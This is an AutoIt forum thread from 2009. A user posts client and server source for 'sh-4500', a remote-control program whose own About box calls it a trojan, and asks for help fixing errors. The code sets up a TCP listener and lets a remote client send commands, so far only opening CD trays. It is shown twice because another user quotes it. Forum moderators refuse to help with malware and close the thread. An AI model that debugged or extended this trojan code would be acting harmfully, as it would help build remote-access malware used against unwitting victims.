remote support

[sisu]

hey we write a script in it self

a kind of remote control ...

but I do not know what was wrong of me da error

please help

customer

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

client for sh-4500 v1.0.1beta

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GUIConstants.au3>

dim $port1

dim $ipaddress1

Global $oSocket = -1

dim $defaultstatus = "Ready"

GUICreate("sh-4500 Client v1.0.1 by shadow-hacker", 500, 300)

GUISetState(@SW_SHOW)

GuiSetIcon("shell32.dll", 14)

$aboutmenu = GuiCtrlCreateMenu("About...")

$aboutitem = guictrlcreatemenuitem("About sh-4500 Client", $aboutmenu)

$statuslabel = GUICtrlCreateLabel ("Status: " & $defaultstatus, 0, 262, 500, 20, BitOr($SS_SIMPLE,$SS_SUNKEN))

GuiCtrlCreateTab(10, 10, 480, 240)

GuiCtrlCreateTabItem("Connection")

guictrlcreatelabel("IP Address: ", 15, 45)

$ipaddress1 = guictrlcreateinput("192.168.0.144", 75, 45, 100, 20)

guictrlcreatelabel("Port: ", 15, 70)

$port1 = guictrlcreateinput("1991", 75, 70, 100, 20)

$connect1 = guictrlcreatebutton("Connect", 15, 100, 75, 25)

$disconnect1 = guictrlcreatebutton("Disconnect", 100, 100, 75, 25)

guictrlcreatelabel("Send commands to the server:", 20, 140)

$datasend = guictrlcreateinput("", 20, 160, 250, 20)

$send = guictrlcreatebutton("Send", 280, 156, 75, 25)

guictrlcreatetabitem("SIN Console")

$startsin = guictrlcreatebutton("Start SIN", 23, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$stopsin = guictrlcreatebutton("Stop SIN", 100, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$sinedit = guictrlcreateedit("The SIN function is disabled in this version of sh-4500", 23, 70, 450, 165, BitOR($WS_VSCROLL, $ES_READONLY))

guictrlcreatetabitem("")

$contextMenu = GuiCtrlCreateContextMenu()

GuiCtrlCreateMenuItem("copywright © sh-4500 2008", $contextMenu)

;GuiCtrlCreateMenuItem("", $contextMenu) ;separator

GuiCtrlCreateMenuItem("by shadow-hacker", $contextMenu)

TCPStartup()

Func _OpenSocket()

guictrlsetdata($statuslabel, "Connecting...")

sleep(1000)

If $oSocket <> -1 Then

MsgBox(0, "Error", "You are already connected!")

Else

$oSocket = TCPConnect(guictrlread($ipaddress1), guictrlread($port1))

If $oSocket = -1 Then

MsgBox(0, "Error", "Can not connect to server!" & @CRlf & "Error = " & @Error)

Else

TCPSend($oSocket, "You are connected to the server!")

EndIf

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_OpenSocket

Func _SendData()

If $oSocket <> -1 Then

TCPSend($oSocket, GUICtrlRead($datasend))

Else

MsgBox(0, "Error", "You must be connected first!")

EndIf

EndFunc ;==>_SendData

Func _CloseSocket()

guictrlsetdata($statuslabel, "Disconnecting...")

sleep(1000)

If $oSocket <> -1 Then

TCPclosesocket($oSocket)

Else

MsgBox(0, "Error", "Socket is already disconnected!")

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_CloseSocket

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exitloop

Case $connect1

_OpenSocket()

Case $disconnect1

_CloseSocket()

Case $send

_SendData()

case $aboutitem

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

EndSwitch

WEnd

and server

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <inet.au3>

#include <guiconstants.au3>

#include <screencapture.au3>

dim $ipaddress1 = @ipaddress1

dim $pubip = _Getip()

dim $port1 = 1991

dim $recv

Global $iCurrentSocket = 0, $oListenSocket, $oConnectedSocket[1000]

$gui = guicreate("sh-4500 v1.0.1 (IP: " & $pubip & ")", 400, 250)

GUISetBkColor("0x000000", $gui)

guisetstate(@SW_SHOW)

$edit = guictrlcreateedit("", 10, 10, 380, 200, BitOR($WS_EX_WINDOWEDGE, $ES_READONLY, $ES_AUTOVSCROLL, $ES_MULTILINE, $WS_VSCROLL))

GUICtrlSetColor(-1, "0x00FF00")

GUICtrlSetBkColor(-1, "0x000000")

GUICtrlSetFont(-1, 8.0, 400)

$sendsin = guictrlcreatebutton("Send SIN", 10, 220, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

_TCPStartServer()

Func _TCPStartServer()

Local $sResult

$sResult = TCPStartup()

If $sResult = 0 Then

MsgBox(0, "Error", "Unable to startup TCP Services!")

Exit

EndIf

$oListenSocket = TCPListen($ipaddress1, $port1, "1000")

If $oListenSocket = -1 Then

MsgBox(0, "Error", "Unable to start listening on port " & $port1)

Exit

EndIf

EndFunc ;==>_TCPStartServer

While 1

$msg = guigetmsg()

if $msg = $GUI_EVENT_CLOSE then exitloop

$oConnectedSocket[$iCurrentSocket] = TCPAccept($oListenSocket)

ConsoleWrite($oConnectedSocket[$iCurrentSocket]&@CR)

If $oConnectedSocket[$iCurrentSocket] <> -1 Then

$iCurrentSocket = $iCurrentSocket + 1

EndIf

For $i = 0 To 999

If $oConnectedSocket[$i] <> -1 Or $oConnectedSocket[$i] <> "" Then

$recv = TCPRecv($oConnectedSocket[$i], 500)

If $recv <> "" Then GUICtrlSetData($edit, GUICtrlRead($edit) "[" & @HOUR & ":" & @MIN & "] " & $recv & @CRLF &)

if $recv = "open cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "open")

Next

EndIf

endif

if $recv = "close cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "close")

Next

EndIf

endif

EndIf

Next

Sleep(20)

WEnd

but that's all we can not find error I was wrong about him anything?

thanks

Edited January 25, 2009 by sisu

[Andreik]

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

sh-4500 trojan server v1.0.1beta

#ce ----------------------------------------------------------------------------

This does not offer support for harmfull applications. You should edit your post.

[sisu]

I am ready to help edit and me plsss

[BigDod]

hey we write a script in it self

a kind of remote control ...

but I do not know what was wrong of me da error

please help

customer

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

client for sh-4500 v1.0.1beta

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GUIConstants.au3>

dim $port1

dim $ipaddress1

Global $oSocket = -1

dim $defaultstatus = "Ready"

GUICreate("sh-4500 Client v1.0.1 by shadow-hacker", 500, 300)

GUISetState(@SW_SHOW)

GuiSetIcon("shell32.dll", 14)

$aboutmenu = GuiCtrlCreateMenu("About...")

$aboutitem = guictrlcreatemenuitem("About sh-4500 Client", $aboutmenu)

$statuslabel = GUICtrlCreateLabel ("Status: " & $defaultstatus, 0, 262, 500, 20, BitOr($SS_SIMPLE,$SS_SUNKEN))

GuiCtrlCreateTab(10, 10, 480, 240)

GuiCtrlCreateTabItem("Connection")

guictrlcreatelabel("IP Address: ", 15, 45)

$ipaddress1 = guictrlcreateinput("192.168.0.144", 75, 45, 100, 20)

guictrlcreatelabel("Port: ", 15, 70)

$port1 = guictrlcreateinput("1991", 75, 70, 100, 20)

$connect1 = guictrlcreatebutton("Connect", 15, 100, 75, 25)

$disconnect1 = guictrlcreatebutton("Disconnect", 100, 100, 75, 25)

guictrlcreatelabel("Send commands to the server:", 20, 140)

$datasend = guictrlcreateinput("", 20, 160, 250, 20)

$send = guictrlcreatebutton("Send", 280, 156, 75, 25)

guictrlcreatetabitem("SIN Console")

$startsin = guictrlcreatebutton("Start SIN", 23, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$stopsin = guictrlcreatebutton("Stop SIN", 100, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$sinedit = guictrlcreateedit("The SIN function is disabled in this version of sh-4500", 23, 70, 450, 165, BitOR($WS_VSCROLL, $ES_READONLY))

guictrlcreatetabitem("")

$contextMenu = GuiCtrlCreateContextMenu()

GuiCtrlCreateMenuItem("copywright © sh-4500 2008", $contextMenu)

;GuiCtrlCreateMenuItem("", $contextMenu) ;separator

GuiCtrlCreateMenuItem("by shadow-hacker", $contextMenu)

TCPStartup()

Func _OpenSocket()

guictrlsetdata($statuslabel, "Connecting...")

sleep(1000)

If $oSocket <> -1 Then

MsgBox(0, "Error", "You are already connected!")

Else

$oSocket = TCPConnect(guictrlread($ipaddress1), guictrlread($port1))

If $oSocket = -1 Then

MsgBox(0, "Error", "Can not connect to server!" & @CRlf & "Error = " & @Error)

Else

TCPSend($oSocket, "You are connected to the server!")

EndIf

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_OpenSocket

Func _SendData()

If $oSocket <> -1 Then

TCPSend($oSocket, GUICtrlRead($datasend))

Else

MsgBox(0, "Error", "You must be connected first!")

EndIf

EndFunc ;==>_SendData

Func _CloseSocket()

guictrlsetdata($statuslabel, "Disconnecting...")

sleep(1000)

If $oSocket <> -1 Then

TCPclosesocket($oSocket)

Else

MsgBox(0, "Error", "Socket is already disconnected!")

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_CloseSocket

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exitloop

Case $connect1

_OpenSocket()

Case $disconnect1

_CloseSocket()

Case $send

_SendData()

case $aboutitem

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

EndSwitch

WEnd

and server

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <inet.au3>

#include <guiconstants.au3>

#include <screencapture.au3>

dim $ipaddress1 = @ipaddress1

dim $pubip = _Getip()

dim $port1 = 1991

dim $recv

Global $iCurrentSocket = 0, $oListenSocket, $oConnectedSocket[1000]

$gui = guicreate("sh-4500 v1.0.1 (IP: " & $pubip & ")", 400, 250)

GUISetBkColor("0x000000", $gui)

guisetstate(@SW_SHOW)

$edit = guictrlcreateedit("", 10, 10, 380, 200, BitOR($WS_EX_WINDOWEDGE, $ES_READONLY, $ES_AUTOVSCROLL, $ES_MULTILINE, $WS_VSCROLL))

GUICtrlSetColor(-1, "0x00FF00")

GUICtrlSetBkColor(-1, "0x000000")

GUICtrlSetFont(-1, 8.0, 400)

$sendsin = guictrlcreatebutton("Send SIN", 10, 220, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

_TCPStartServer()

Func _TCPStartServer()

Local $sResult

$sResult = TCPStartup()

If $sResult = 0 Then

MsgBox(0, "Error", "Unable to startup TCP Services!")

Exit

EndIf

$oListenSocket = TCPListen($ipaddress1, $port1, "1000")

If $oListenSocket = -1 Then

MsgBox(0, "Error", "Unable to start listening on port " & $port1)

Exit

EndIf

EndFunc ;==>_TCPStartServer

While 1

$msg = guigetmsg()

if $msg = $GUI_EVENT_CLOSE then exitloop

$oConnectedSocket[$iCurrentSocket] = TCPAccept($oListenSocket)

ConsoleWrite($oConnectedSocket[$iCurrentSocket]&@CR)

If $oConnectedSocket[$iCurrentSocket] <> -1 Then

$iCurrentSocket = $iCurrentSocket + 1

EndIf

For $i = 0 To 999

If $oConnectedSocket[$i] <> -1 Or $oConnectedSocket[$i] <> "" Then

$recv = TCPRecv($oConnectedSocket[$i], 500)

If $recv <> "" Then GUICtrlSetData($edit, GUICtrlRead($edit) "[" & @HOUR & ":" & @MIN & "] " & $recv & @CRLF &)

if $recv = "open cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "open")

Next

EndIf

endif

if $recv = "close cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "close")

Next

EndIf

endif

EndIf

Next

Sleep(20)

WEnd

but that's all we can not find error I was wrong about him anything?

thanks

Who wrote this, I doubt that it was you.

[Melba23]

sisu,

Posting scripts which contain the following (my emphasis):

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

is unlikely to to get you any help on these forums.

M23

[sisu]

BigDod not written by me I did more .....

but not all go and have left it go and I said that you can help me

ms anticipat

[Jos]

BigDod not written by me I did more .....

but not all go and have left it go and I said that you can help me

ms anticipat

Could you try to say this again in understandable English?

[Andreik]

Could you try to say this again in understandable English?

Somethis like this:

I did not write the script.

Not all work properly, can you help me?

Thanks in advance.

[Jos]

... and done with this thread too.

sisu, I understand you are not from an English speaking country but if you are not able or willing to understand us or listen to us then there is not much use continuing like this.

You are posting questionable stuff and are not able to give a clear explanation.

* click*

Jos